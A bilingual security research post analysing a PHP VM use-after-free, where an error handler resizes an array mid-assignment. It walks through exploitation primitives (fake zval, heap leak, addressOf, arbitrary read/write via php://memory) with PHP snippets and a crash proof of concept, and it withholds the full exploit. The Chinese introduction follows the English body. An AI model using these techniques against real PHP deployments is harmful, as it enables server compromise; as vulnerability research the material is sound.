Initially, I didn't intend to open an issue for this problem in the PHP repository because I assumed that the core developers of PHP were already aware of it. It first appeared in bug78598, and at that time, Nikita Popov only noticed the undefined index issue, which happened in 2019. However, I still opened an issue to remind PHP developers of the problem. Through this issue, I learned that there were still people working on it. It was only then that I realized the provided fix could only address simple cases of array assignment/fetch because I had forgotten that object assignment and fetch also had similar issues. Ilija Tovilo made two efforts:

First commit:

https://github.com/iluuu1994/php-src/commit/fa475eac27dd7ab23e3670a1b3f19e4ad914210d

Second commit:

https://github.com/iluuu1994/php-src/commit/198b22ac63e4c25028bccf8a5e9168d1ff2f0443

I am very grateful to Ilija, and through our communication, I learned about the concept of delayed error. This idea is completely opposite to my previous idea. My initial idea was to throw errors as soon as possible, causing the side effects to take effect before fetching the address of the element. In contrast, delayed error is a concept where the error occurring during array assignment is deferred until after the array assignment is complete.

Delayed error handling is somewhat similar to normal exception handling, but unlike normal exceptions, delayed error handling will continue executing the next opcode that triggered it after it finishes. It's somewhat similar to algebraic effects in functional programming. There are still some issues to address in implementing delayed error handling, such as how to handle it in the current PHP JIT and which parts of PHP need this mechanism and need to be manually triggered. For more details, you can refer to the issue.

This problem is even more complex than I initially thought, and Ilija referred to it as "fundamentally hard." It will probably persist for a long time in the future...

0x02 Three Butterflies

TL;DR. If you don't want to hear the story, you can skip this section.

Four years ago, after learning about this problem, I began to explore how to exploit it. Unfortunately, I'm not very smart, and for four years I haven't come up with a solution. Over the past four years, my work has been closely integrated with PHP, and I've written about 40-50k lines of code in PHP, almost creating a whole new PHP interpreter. It's hard to imagine that this is something a security researcher would do. So I know a little bit more about PHP.

I was able to complete this article because of three butterflies. The first butterfly taught me some new methods; the second butterfly showed me a new continent; and the third butterfly led me out of trouble.

Before, I was actually trapped in a misunderstanding. My basic idea was:

  1. array will be resized.
  2. Then I immediately get the memory released by array, so I can create a UAF.

There's no problem here.

Here's the pseudo-code similar to ZEND_ASSIGN_DIM about ZEND_ASSIGN_DIM_OP I posted earlier:

1
2
3
4
5
6
// array = [0, 1, 2, 3, 4, 5, 6, 7]
arr_base = get_addr_of(array)
elem_addr = get_addr_of(array_base, index)
elem = get_elem_from_addr(elem_addr)
check_var(var)
assign_var_to_elem(elem, var)

But the problem is, assign_var_to_elem can only write a special null value to the target memory (as mentioned earlier, var will be initialized to null), and elem needs to be checked during the process. In other words, the target memory needs to have a rather strict memory layout. Secondly, influenced by the $a[0] += $var in Laruence's code, I think this null can only be written slightly ahead in this memory. That's where my misconception lies. Combining the above reasons has always prevented me from finding a suitable structure to hold this memory.

In the past, I gradually stopped paying attention to security issues in PHP, and sometimes I found some problems when writing code, but I just fixed it and no more following. It wasn't until recently when I saw the news about LockBit that I suddenly became interested and wrote "CVE-2023-3824: Lucky Off-by-one (two?)" [5]. A few days after finishing the article, I went to browse the security communities to see what everyone was researching. It was during this process that I discovered the three butterflies.

First, I found an article "Summary of WebAssembly Security Research" [6]. This article introduces how to attack Wasm engines by constructing malicious bytecode, which is quite interesting. There are similar problems in PHP opcache. I personally prefer some security research on interpreters and compilers, so I wanted to see if there was any deeper research on Wasm and searched for other articles by the author.

The First Butterfly

I found that the author had many studies on JavaScriptCore (jsc), which I hadn't encountered before, only briefly encountering V8. It seems quite interesting, so let's take a look. With the help of the article [7] and the series of articles [8], my wrote an another article "CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT". During this process, I accumulated some knowledge about jsc. In particular, some constructions (box/unbox) in it broadened my horizons, which were quite amazing, to the point where I wanted to replicate them in PHP exploitation constructions. In jsc, there is a special structure called butterfly for storing JSObject's properties and elements, because its memory structure resembles a butterfly with wings, hence the name butterfly. The ascii graph comes from [9].

1
2
3
4
5
6
7
8
9
10
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+

This structure is frequently used in jsc exploitation, including the box/unbox technique I mentioned earlier. This is the first butterfly.

The Second Butterfly

While reading [9], I also saw saelo's blog post "Pwning Lua through 'load'" [10]. These are the things I like to read, so let's read it. I was surprised to find that Lua actually doesn't have a bytecode verifier, and the content of the article is quite similar to the previous one attacking Wasm engines. Then I wanted to see some security research on Lua for a better understanding and found a series of security researches on LuaJIT by bigshaq [11], where I encountered the second butterfly. LuaJIT's JIT compiler translates the collected trace into IR and puts it in a structure similar to a butterfly. It looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
                                                  
-----------------------------------------
| | | | |
|const2|const1|inst1|inst2|
| | | | |
--------------------▲-----------─---------


┌──────┐ │
│ ir_p ├─────────┘
└──────┘

Instructions are on one wing, and constants are on the other wing. In this brief LuaJIT journey, I accumulated some knowledge about LuaJIT, but I found that the last research on security issues was too deliberate, after all, it was a CTF problem, understandable. However, the technique of fixing the shellcode using guarded assertions in JIT code is really good.

The Last Butterfly

JIT technology in PHP 8 is heavily influenced by LuaJIT. So much so that in a blog post by bigshaq about PHP, the related exploits from LuaJIT can applied in PHP. After a big circle, I returned to PHP again and suddenly discovered that Dmitry had created a JIT Compilation Framework [11] called IR. Dmitry is the man who wrote almost all the optimizers in PHP by himself, and I deeply admire him for that. When I heard about IR, I was restless for a long time. The new JIT compiler based on IR has been merged into the master branch of PHP-src, and the annoying DynAsm is finally gone. I immediately looked at Dmitry's introduction to it [13], and finally I have a chance to not have to write a optimizer on PHP bytecode. I saw optimizations similar to Sea of Nodes in V8 TurboFan and various new optimizations that hasn't appeared in PHP. At this moment, I decided to do something for it in the future. Because the optimizers Dmitry wrote had been with me for a long time.

I remembered the IR flaw mentioned in the article, and I thought it should be over now. I started to examine it again, and my gaze returned to zend_array in PHP. Doesn't it also have a butterfly there? The ascii graph comes from [14].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
* HashTable Data Layout
* =====================
*
* +=============================+
* | HT_HASH(ht, ht->nTableMask) | +=============================+
* | ... | | HT_INVALID_IDX |
* | HT_HASH(ht, -1) | | HT_INVALID_IDX |
* +-----------------------------+ +-----------------------------+
* ht->arData ---> | Bucket[0] | ht->arPacked ---> | ZVAL[0] |
* | ... | | ... |
* | Bucket[ht->nTableSize-1] | | ZVAL[ht->nTableSize-1] |
* +=============================+ +=============================+
*/

PHP has two special arrays, packed arrays and mixed arrays. When I was thinking about them, this butterfly popped into my mind. It turns out that I don't need to write that null slightly ahead in memory; I can have null written to the middle of this memory. I even forgot that I could control the position of writing this null by adjusting the index. This mistake has been with me for four years. It turns out that the butterfly has always been there, on that branch I could see.

0x03 Prerequisite for PHP Internals

When I wrote content related to the PHP kernel before, I almost never included related pre-knowledge, because I didn't want to copy and paste a large amount of code, which didn't look very good. But this time, I hope more people can learn something from this article. The pre-knowledge used in this article won't be too much, so don't worry. If there are any parts you don't understand, you can email me and ask, but I can't guarantee a timely reply.

3.1 zval Structure

Variables in PHP appear in the form of zval, which is a tagged union:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Zend/zend_types.h
typedef union _zend_value {
zend_long lval; /* long value */
double dval; /* double value */
zend_refcounted *counted;
zend_string *str;
zend_array *arr;
zend_object *obj;
zend_resource *res;
zend_reference *ref;
zend_ast_ref *ast;
zval *zv;
void *ptr;
zend_class_entry *ce;
zend_function *func;
struct {
uint32_t w1;
uint32_t w2;
} ww;
} zend_value;

struct _zval_struct {
zend_value value; /* value */
union {
uint32_t type_info;
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type; /* active type */
zend_uchar type_flags;
union {
uint16_t extra; /* not further specified */
} u;
)
} v;
} u1;
union {
...
} u2;
};

This is very common in programming language design, such as the variable representation JSValue in JavaScriptCore. So when understanding the internals of a programming language, you need to pay attention to its variable representation. The zval.value will store the actual value of the variable, while zval.u1.type_info will store the type information of the variable.

3.2 Basic Types in PHP

The basic types in PHP are:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Zend/zend_types.h
#define IS_UNDEF 0
#define IS_NULL 1
#define IS_FALSE 2
#define IS_TRUE 3
#define IS_LONG 4
#define IS_DOUBLE 5
#define IS_STRING 6
#define IS_ARRAY 7
#define IS_OBJECT 8
#define IS_RESOURCE 9
#define IS_REFERENCE 10
#define IS_CONSTANT_AST 11 /* Constant expressions */

They appear in zval.u1.v.type.

  1. undefined, null, false, and true can be distinguished directly by their type information;
  2. long and double are stored directly as primitive values in zval.value.lval and zval.value.dval;
  3. string, array, object, resource, reference, and constant_ast each have corresponding specific structures, and their addresses will be stored as pointers in zval.value.str, zval.value.arr, etc.

3.3 zend_string Structure

zend_string is used to describe the string type mentioned above. Its structure is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _zend_refcounted_h {
uint32_t refcount; /* reference counter 32-bit */
union {
uint32_t type_info;
} u;
} zend_refcounted_h;

struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};

Where:

  1. zend_string.gc: I usually call it gc_info, and it contains an important part, zend_string.gc.refcount, which represents the reference count;
  2. zend_string.h: Used to cache the hash value calculated for this string;
  3. zend_string.len: Represents the length of the string;
  4. zend_string.val: Represents the actual content of the string, which is stored consecutively after the zend_string structure.

3.4 Packed and Mixed Arrays

There are two types of arrays in PHP:

  1. Packed array: An array where integers are stored consecutively as indices, e.g., $arr = [1,2,3,4];
  2. Mixed array: An array that mixes integer and string indices, e.g., $arr = [1, 'key1' => 'val1'];

Let's introduce the butterfly in the array. First is the packed array:

1
2
3
4
5
6
7
8
                  +=============================+
| HT_INVALID_IDX |
| HT_INVALID_IDX |
+-----------------------------+
ht->arPacked ---> | ZVAL[0] |
| ... |
| ZVAL[ht->nTableSize-1] |
+=============================+

Where zend_array.arData points to the first element. Note that it does not point to the start of the allocated memory; there are two index cells (each cell size is 4 bytes) in front, both storing HT_INVALID_IDX == -1. Because in a packed array, there is no need to hash the index; we can directly retrieve the value based on the index. So what are these two invalid indices doing here? They are for future use of non-integer indices in array fetches. I was previously stuck on packed arrays.

Next is the mixed array:

1
2
3
4
5
6
7
8
9
                +=============================+
| HT_HASH(ht, ht->nTableMask) |
| ... |
| HT_HASH(ht, -1) |
+-----------------------------+
ht->arData ---> | Bucket[0] |
| ... |
| Bucket[ht->nTableSize-1] |
+=============================+

The elements in PHP arrays are stored sequentially in memory. To resolve hash collisions, PHP links elements with the same hash into a linked list. So, to find the correct element in a mixed array, the following steps are taken:

  1. Hash the index to get the value h.
  2. Calculate where it falls in the index table based on h | ht->nTableMask, where the index table is the area in the first element. Each index cell in the index table stores the head node of the linked list where the target element is located and the offset of ht->arData.
  3. Start traversing the linked list from ht->arData[h | ht->nTableMask], comparing the real index to find the target element.

In a mixed array, the number of index cells in the index table is twice the capacity of the array to store elements. This relationship is maintained during array expansion. For example, if an array can store 8 elements, it will have 16 index cells. The total size of these cells is the size of the corresponding butterfly area in memory.

Regardless of whether it is a packed array or a mixed array, their minimum capacity is 8 elements, and each expansion doubles the capacity. Specifically, the structure storing a single element in a PHP array is Bucket, defined as follows:

1
2
3
4
5
typedef struct _Bucket {
zval val;
zend_ulong h; /* hash value (or numeric index) */
zend_string *key; /* string key or NULL for numerics */
} Bucket;
  1. Bucket.val: Stores the value corresponding to the element.
  2. Bucket.h: Stores the integer index.
  3. Bucket.key: Stores the key corresponding to the element.

3.5 Variable Assignment

Here, let's discuss the assignment process between two zval *var, *val, corresponding to the parts of the functions zend_assign_to_variable and zend_copy_to_variable in Zend/zend_execute.h. I'll use pseudocode to highlight some important things and omit some less important information.

1
2
3
4
5
6
7
8
// assign val to var
if var is refcouted:
var_value = get_value_from_zval(var);
copy_zval(var, val)
if (get_refcount(var_value) == 1)
free_value(var_value)
else
copy_zval(var, val)

The corresponding functions are obviously more complex than the pseudocode I provided, but we don't need to pay attention to most cases inside them. Here, we say a zval is refcounted, which means it corresponds to a value that requires additional memory allocation, such as string, array, and object, while null, false, true, long, and double are not refcounted because their values are directly stored in zval. The core logic of the assignment process here is to pay special attention to the original value of var.

Let me explain what's happening here:

  1. When var is refcounted, we do the following:
    1. First, we record the original value of var with var_value.
    2. We directly copy val to var using copy_zval.
    3. We check if the reference count of the original value of var is 1, if it is, we free the original value of var.
  2. Otherwise, we directly copy val to var using copy_zval.

In step 1.3, if the reference count of the original value of var is 1, it means that this value is only used by var. After var is assigned a new value, its original value is no longer used by anyone and can be freed. The copy_zval function does two things:

  1. Directly copies the value of val to var.
  2. Adjusts the reference count of the value pointed to by val according to the situation.

We won't discuss what situations adjust the reference count for now.

3.6 Copy on Write

It's a common optimization technique. Consider the following code:

1
2
3
4
5
$a = 'aaaa';
$b = $a;
echo $b;
$b .= 'b';
echo $b;

In the second line, the string 'aaaa' is not immediately copied to the variable $b; instead, the reference count of the string pointed to by $a is incremented. It's not until the fourth line that the previous string is copied again to concatenate the string 'b', and then the new result is written to $b. So how does copy on write determine when to copy? It's simple: you just need to check if the reference count of the value you're pointing to is greater than 1.

These are all the PHP-related knowledge we need to know here.

0x04 Exploitation Overview

Our general approach is as follows:

  1. Construct a fakeZval primitive.
  2. Leak an address from the heap.
  3. Construct an addressOf primitive.
  4. Construct a conditional read/write primitive for the first stage.
  5. Construct a stable arbitrary read/write primitive for the second stage.

Referring to the common techniques used in jsc exploitation, such as fakeObj and addressOf primitives, we will construct PHP-specific fakeZval and addressOf primitives. This article does not discuss further exploitation techniques because they are often templated and commonly discussed in conventional PHP vulnerability exploitation, for saving space.

0x05 Constructing a Fake Zval

The inspiration for this technique comes from the fakeObj primitive used in jsc exploitation.

Recalling our previous ideas:

  1. Trigger an array resize to release the array's butterfly.
  2. Immediately preempt the memory corresponding to this butterfly.
  3. Write null to the structure we preempted.

Here we first clarify two issues:

  1. Where will null be written in the butterfly?
  2. Combining our previous understanding of the assignment process between two zvals, how do we successfully pass the operation of writing null?

For the first issue, it is meaningless; null will be written to the element specified by the index. For example, if I define a mixed array as follows:

1
2
3
4
5
6
7
8
9
10
11
$a1_str = 'eeee'
$victim_arr = array(
'a1' => $a1_str,
'a2' => 1,
'a3' => 1,
'a4' => 1,
'a5' => 1,
'a6' => 1,
'a7' => 1,
'a8' => 1,
);

Its memory layout (as we mentioned before, 8 elements correspond to 16 index cells) is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                          ┌───────────────┐       
│ index_cell15 │ │
├───────────────┤ │
│ ... │ │
├───────────────┤ │
│ index_cell1 │ │
├───────────────┤ │
│ index_cell0 │ │ addr
$victim_arr['a1']──────► |───────────────┤ │
│ bucket0 │ │
├───────────────┤ │
│ bucket1 │ │
├───────────────┤ ▼
│ ... │
├───────────────┤
│ bucket7 │
└───────────────┘

If we want to write $a[0] = $undef_var for this array, the offset relative to the starting address of this butterfly area should be 4 * 16 = 64.

For the second issue, after the butterfly area above is released, we immediately construct a properly sized string to take it. For example:

1
2
3
4
5
6
7
8
9
$zend_array_burket_size = 0x20;
$zend_table_index_size = 0x4;
$zend_string_size = 0x20;

$user_str_length = 16 * $zend_table_index_size + 8 * $zend_array_burket_size - $zend_string_size;
set_error_handler(function() {
$victim_arr['a9'] = 1;
$user_str = str_repeat('b', $user_str_length);
})

For a string, its first 0x18 bytes belong to the header, specifically:

  1. +0x0: reference count.
  2. +0x4: gc information.
  3. +0x08: hash value cache, if this string has been hashed, the resulting hash will be stored here.
  4. +0x16: string length.
  5. The remaining part stores the string content.

So obviously, the location to write 0x40 falls within the string content that we can control. Therefore, we can forge a zval to satisfy the check mentioned earlier in the assignment process, allowing null to be written smoothly to this fake zval.

0x06 Leaking an Address

To bypass ASLR or read/write the content of a specified address, we first need to leak some addresses to accurately locate the ones we need. The process here is a bit tricky; we leverage PHP's weak type conversion. Consider the following code:

1
2
3
4
$victim_arr['a1'] = true;
$victim_arr['a1'] .= null;
var_dump($victim_arr['a1']);
// output: string(1) "1"

In line 3, there is a string concat operation that concatenates $a['a1'] and null. However, neither of them is a string, so there will be a weak conversion here. true will be converted to the string "1", and null will be converted to an empty string. Finally, the string "1" with a value of "1" is written to $a['a1'], so $a['a1'] will hold the pointer to this string. Through the previously mentioned UAF, $a['a1'] actually resides in the memory we can control (i.e., $user_str), which corresponds to the zval we constructed using fakeZval. By reading $user_str, we obtain the address of this string.

At this point, the memory layout of $user_str should be as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                              ┌──────────────┐                                 
│ │
│ string_header│
│ │
├──────────────┤0x18
│ │
│ ... │
│ │ string: '1'
fake_zval_with_null──────────►├──────────────┤0x40 ◄─────────────┬────────────┐
│ zval_value │ 0x0 │ │ gc_header │
├────────────────►├──────────────┤0x48 ├────────────┤
│ zval_type │ 0x3 │ │ hash │
└────────────────►├──────────────┤ ├────────────┤
│ │ │ len │
│ │ ├────────────┤
│ │ │ content │
└──────────────┘ └────────────┘

Note that 0x3 inside represents that this fake zval is a true. Because this fake zval is just a value waiting to be assigned, it's just a null, not a refcounted type value mentioned earlier. Therefore, the assignment process here is very simple:

  1. Copy the address of string: "1" to zval.value.str of the fake zval.
  2. Modify the type of the fake zval to is_string.

Note that there is a minor issue here; you will notice that the leaked address of the string does not reside on the heap managed by PHP itself, used to store various PHP runtime structures, but rather on the heap managed by glibc through malloc/free. This is because of a minor optimization by PHP for strings. PHP pre-allocates strings for common strings. If these strings are encountered during runtime, they are simply returned from the pre-allocated ones, avoiding frequent allocation. These strings appear in PHP as persistent strings, and their memory is allocated through malloc.

The weak conversion of true corresponds to the single character "1", which happens to be one of these known strings, and when concatenated here, it's an empty string. This results in the final value being this known string. If we want to obtain an address on PHP's own heap, we must bypass it. It's simple; we can use int or double as the value of the fake zval. Here I'm using int: (100), and later I'll explain why 100 is used.

0x07 Obtaining a Block of Memory

Currently, we have the address str100_addr of string: "100". Let's first take a look at the memory layout of string: "100":

1
2
3
4
5
6
7
8
9
10
11
12
                    string : "100"             
┌────────────────────────┐
│ 0x0000001600000001 │gc_info
fake_string──►├────────────────────────┤
│ 0x0000000000000000 │hash
├────────────────────────┤
│ 0x0000000000000003 │len
├────────────────────────┤
fake_len─────►│ 0x00007fff00303031 │content
├────────────────────────┤
│ │
└────────────────────────┘

The 0x303031 at content actually corresponds to the string "100". Imagine if we could construct a zval using the fakeZval primitive, let its type be string, and make its value point to str100_addr + 0x8, which is the position of fake_string in the above diagram. Starting from fake_string, we construct a new string with a length of 0x00007fff00303031. The 7fff appearing here is some random data on the heap, and 0x303031 is greater than the capacity of a memory chunk in PHP, 0x200000, so this fake_string can cover the entire memory chunk. This is why I used int: (100) earlier.

Our idea is: Can I use this fake_string to read the content behind the memory? Then I need to obtain this fake_string, as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
reset_victim_arr_and_user_str();

set_error_handler(function() {
// resize
global $victim_arr;
global $user_str_length;
global $user_str;
global $first_elem_offset;
global $zend_string_header;

global $str100_addr;

$victim_arr['a9'] = 1;
$user_str = str_repeat('b', $user_str_length);

// construct fake zval that contains a fake zend_string;
// 1. zval.value.str <= $leak_addr + 0x8;
// 2. zval.u1.type_info <= is_string_ex == (6 | (1 << 8));
writestr64($user_str, $first_elem_offset - $zend_string_header, $str100_addr + 0x8);
writestr64($user_str, $first_elem_offset - $zend_string_header + 0x8, (6 | (1 << 8)));
});

$heap = $victim_arr['a1'] .= $undef_var;
  • Line 1 reset_victim_arr_and_user_str() resets $victim_arr and $user_str to ensure that the UAF is triggered later.
  • Inside the error_handler, we construct a fake zval that points to our fake_string.
  • Note that in line 15, we use $heap to hold the result of the subsequent array assignment calculation. The result of the array assignment calculation is the concatenation of fake_string with an empty string, meaning that $heap is the fake_string.

We can read the contents of the PHP heap by reading $heap. But that's not all; we can also modify the content of $heap corresponding to fake_string without triggering copy-on-write. Not triggering copy-on-write is crucial here. In theory, if $heap holds the result of the array assignment, i.e., fake_string, the reference count of fake_string should be incremented. If the reference count of fake_string is greater than 1, when we modify $heap, copy-on-write will occur, preventing us from modifying the content of fake_string. Furthermore, we might even cause PHP to terminate when copy-on-write occurs, as the size of fake_string may be large, making it impossible to copy it. For example, referring to the earlier 0x00007fff00303031.

So why doesn't copy-on-write occur here? Let's look at the gc_info of fake_string; its value is the hash of the original string: "100", which is 0x00. PHP checks if a value is refcounted by checking if gc_info is not 0x00. This means that PHP considers fake_string to be non-refcounted, i.e., not an object of interest to the garbage collector. This means that the result of the array assignment calculation is also not refcounted, so there is no copy-on-write here. Copy-on-write only applies to refcounted values.

0x08 Constructing addressOf

Now we have a memory area that is readable and writable, and we know its location. In fact, we could stop here. For example, like the exploitation method in [5]:

  1. Spray a large number of memory structures we want to read on the heap to obtain the addresses we want.
  2. Spray a large number of content structures we want to write to on the heap and write the values we want.

This is how I used it in the first version of exploitation. However, there are still many uncertainties here. For example, if the memory structure we sprayed is not in the memory chunk we can view, the exploitation may fail. In this case, we need to readjust the position of fake_string, such as first spraying a large number of string: "100" to move it to a new memory chunk.

No there's like not sure, I'm the same. Here, we will construct a more stable addressOf to help us locate the positions of memory structures we want. For example:

1
2
3
4
5
6
$num = 1111;
$num_value = addressOf($num);
$str = "aaaaaaa";
$str_addr = addressOf($func);
$obj = new stdClass();
$obj_addr = addressOf($obj);

It has the following functionality:

  • For values that are not refcounted, we can directly obtain their immediate value using addressOf, such as $num above.
  • For refcounted values, we can obtain their address using addressOf, such as $str and $obj above.

Our idea is to arrange an array: [0, 1, 2, 3, 4, 5, 6, 7] on the block of memory mentioned earlier, like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
array : [0, 1, 2, 3, 4, 5, 6, 7]                     
┌───────────────┐
│packed_arr_flag│ butterfly
├───────────────┤ ┌────────────────┐
│ ... │ │ invalid_idx │
│ ... │ ├────────────────┤
├───────────────┤ │ invalid_idx │
│ arData ├─────────────────►├────────────────┤
├───────────────┤ │ bucket0 │
│ ... │ ├────────────────┤
│ ... │ │ ... │
│ │ ├────────────────┤
│ │ │ bucket7 │
│ │ └────────────────┘
└───────────────┘

Our idea:

  1. Control the reference count of this fake array to be 1.
  2. Use the fakeZval primitive to wrap this fake_array.
  3. Trigger the earlier UAF, fake_array is released, and we immediately request the same array $hax to obtain this block of memory.
  4. Suppose the value you want to read is $val, then make $hax[0] = $val.
  5. Then we read the content of the first element of the butterfly on $heap to obtain what we want.

It should be noted that when freeing a small block of memory, PHP first determines the page it belongs to and then determines which bin it belongs to based on its size to place it correctly on the free_list. So you need to determine the position of the fake array you constructed. If you want to bypass this limitation, you can allocate an oversized block of memory to fabricate a memory chunk yourself; you can refer to [16] for details.

0x09 Arbitrary Read/Write Primitive

I set my sights on php://memory [15], where PHP manages a block of memory as a file. The structure controlling the size of this block of memory is:

1
2
3
4
5
6
7
typedef struct {
char *data;
size_t fpos;
size_t fsize;
size_t smax;
int mode;
} php_stream_memory_data;

Our idea:

  1. Arrange a string on $heap that is the size of sizeof(php_stream_memory_data).
  2. Use UAF to release this string, ensuring that fopen("php://memory") obtains a php_stream.
  3. Modify the data pointer, fpos, and fsize above to read/write any area.

Similarly, be sure to release the page where the string is located.

0x0A Full Exploitation

Not provided for now because it has not been patched yet.

0x0B Conclusion

We have analyzed the issues in PHP IR and why they have not been fixed for a long time, and finally proposed a fix suggestion. I also wrote about three butterflies that helped me during my exploration of this issue. Finally, I shared my exploitation methods, attempting to transplant common primitives from JS engine exploitation to PHP. Once I stepped out of the misunderstanding, many ideas were born during the construction of the exploitation process. In fact, this is not a particularly difficult exploitation; it's just that I am a bit slow. I believe that there are many similarities in the exploitation of different interpreters or compilers, which can be mutually learned and studied, and may help you find more ideas.

Finally, the "The Elegy of PHP" in the title is more of a farewell to the past. In the future, I will pay more attention to the new JIT compiler that PHP may release soon and hope to bring you some interesting stories about it in the future.

0x0B References

  1. 风雪之隅, https://www.laruence.com/
  2. 深入理解PHP7内核之HashTable, https://www.laruence.com/2020/02/25/3182.html
  3. crash.php, https://github.com/m4p1e/php-exploit/blob/master/crash.php
  4. zend_assign_dim_op, https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h#L1151
  5. CVE-2023-3824: 幸运的Off-by-one (two?), https://m4p1e.com/2024/03/01/CVE-2023-3824/
  6. WebAssembly安全研究总结, https://mp.weixin.qq.com/s/cPUaDQaCWpZiBEgZqbqvPg
  7. JavaScript engine exploit(二),https://www.anquanke.com/post/id/183805
  8. Browser Exploitation, https://liveoverflow.com/topic/browser-exploitation/
  9. Attacking JavaScript Engine, http://www.phrack.org/issues/70/3.html
  10. Pwning Lua through 'load', https://saelo.github.io/posts/pwning-lua-through-load.html
  11. LuaJIT Internals: Intro, https://0xbigshaq.github.io/2022/08/22/lua-jit-intro/
  12. dstogov/ir, https://github.com/dstogov/ir
  13. https://www.researchgate.net/publication/374470404_IR_JIT_Framework_a_base_for_the_next_generation_JIT_for_PHP
  14. Zend/zend_types.h, https://github.com/php/php-src/blob/master/Zend/zend_types.h
  15. PHP memory wrapper https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory
  16. RWCTF2021 Mop 0day Writeup, https://m4p1e.com/2021/01/13/rwctf2021-master-of-php/

PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应

0x01 IR设计中的问题

1.1 问题来源

鸟哥(Laruence) [1]是所有国内PHPer应该都知道的一个人。鸟哥的博客是我早期学习PHP内核的时候经常会去的地方。在2020年的时候,鸟哥发了一篇《深入理解PHP7内核之HashTable》的文章[2],在文章的结尾提到了一个问题:

在实现zend_array替换HashTable中我们遇到了很多的问题,绝大部份它们都被解决了,但遗留了一个问题,因为现在arData是连续分配的,那么当数组增长大小到需要扩容到时候,我们只能重新realloc内存,但系统并不保证你realloc以后,地址不会发生变化,那么就有可能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$array = range(0, 7);

set_error_handler(function($err, $msg) {
global $array;
$array[] = 1; //force resize;
});

function crash() {
global $array;
$array[0] += $var; //undefined notice
}

crash();

比如上面的例子, 首先是一个全局数组,然后在函数crash中, 在+= opcode handler中,zend vm会首先获取array[0]的内容,然后+$var, 但var是undefined variable, 所以此时会触发一个未定义变量的notice,而同时我们设置了error_handler, 在其中我们给这个数组增加了一个元素, 因为PHP中的数组按照2^n的空间预先申请,此时数组满了,需要resize,于是发生了realloc,从error_handler返回以后,array[0]指向的内存就可能发生了变化,此时会出现内存读写错误,甚至segfault,有兴趣的同学,可以尝试用valgrind跑这个例子看看。

但这个问题的触发条件比较多,修复需要额外对数据结构,或者需要拆分add_assign对性能会有影响,另外绝大部分情况下因为数组的预先分配策略存在,以及其他大部分多opcode handler读写操作基本都很临近,这个问题其实很难被实际代码触发,所以这个问题一直悬停着。

直到今天这个问题还是悬停着。对于普通PHP开发者而言,这可能确实不算是一个很大的问题,但对于做安全的人来说,这里可能隐藏一个很严重的安全问题。因为它是我见过为数不多出现在PHP VM中的问题,而不是平时出现在各种PHP native libraries中的问题。一旦可以被利用,影响将非常之大。所以这个问题一直就放在了我的心上,它也一直以crash.php [3] 在我的PHP-exploit repo中放了4年. 特别地,只要你用PHP7或者8运行它就会出现segmentfault,也不知道有没有人去尝试过。

1.2 修复该问题的阻力

鸟哥出给的解释非常清晰明了,这里我试着用更加通俗的伪代码来进一步帮助不熟悉PHP内部的读者, 去理解PHP VM在第11行这里到底做了什么:

1
2
3
4
5
6
7
8
9
// array = [0, 1, 2, 3, 4, 5, 6, 7]
arr_base = get_base_addr_of(array)
elem_addr = get_addr_by_index(array_base, index)
elem = get_elem_from_addr(elem_addr)
// elem is ok
check_var(var)
// is elem ok?
res = add(elem, var)
assign_var_to_elem(elem, res)

这里做了这样几件事:

  1. 首先我们获取这个array存储元素内存区域的起始地址;
  2. 根据index获取我们指定元素的内存地址;
  3. elem_addr读取元素到elem;
  4. 检查var的合法性, 更具体一点, 当var是一个PHP代码中显式变量(i.e., $a)的时候, 检查它是否被定义过。 如果var是一个未定义的PHP变量, 那么VM会将var的值初始化为null. 因为PHP VM不能直接将undefined (类似JS中的特殊值),暴露给用户代码;
  5. elemvar做算术加法得到结果res;
  6. 最后将res赋值给elem

而问题出现在第6行这里,check_var(var)可能会产生副作用(side-effects),从而clobbering the world。这个词我是从JavaScriptCore (WebKit的JS引擎) 中学到的,副作用的出现可能会导致之前的计算结果变得的不可信,在这种不确定地情况下,我们是不能直接使用这些计算结果的。这里的elem是否还依然正确地指向待写入的目标元素呢? 在第6行之后我们是不能确定的,因为它指向的内存地址可能已经被释放了,而正确的目标元素位置已经被搬到了其他内存上。

以上其实就是PHP opcode ZEND_ASSIGN_DIM_OP的大致解释过程,完整的解释过程你可以在[4]中找到。那么这个问题为什么一直没有被修复呢? 好问题。我们从几个直觉上可行的简单修复方法开始,来讲一下修复的阻力在哪里。这里我用array->arData表示指向第1个元素的内存地址,其余array其他元素都顺序地落在其后.

简单方法1: 在第6行之后检查elem是否还落在array->arData相对位置上

这样做只能确保array->arData没有发生变化,但是你如何保证ABA问题 ? 比如array存储元素区域被释放了,然后被其他内存结构抢占了,然后又被释放了,再被布置为原本array存储元素区域的布局 (另外一个和它结构相同的array2把这块区域抢占了)。

简单方法2: 把check_var放在最前面

那么你考虑如下形式:

1
$array['a']['b'] = $var;

这段代码会被翻译成类似如下的中间代码:

1
2
3
L0 : V2 = FETCH_DIM_W CV0($array) string("a")
L1 : ASSIGN_DIM V2 string("b")
L2 : OP_DATA CV1($var)

这里我们考虑不带二元运算的ZEND_ASSIGN_DIM。以上代码等同于:

1
2
V2 =& $array['a'];
V2['b'] = $var;

其中V2是指向$array中index为'a'元素的位置,所以这里我用=&来强调V2不是$array['a']。那么问题来了,如果第2行中的副作用导致在$array被resized了,那么这个V2就指向的位置就不对了。

这个问题注定了不能简单地被修复。

1.3 unset 和 reassign

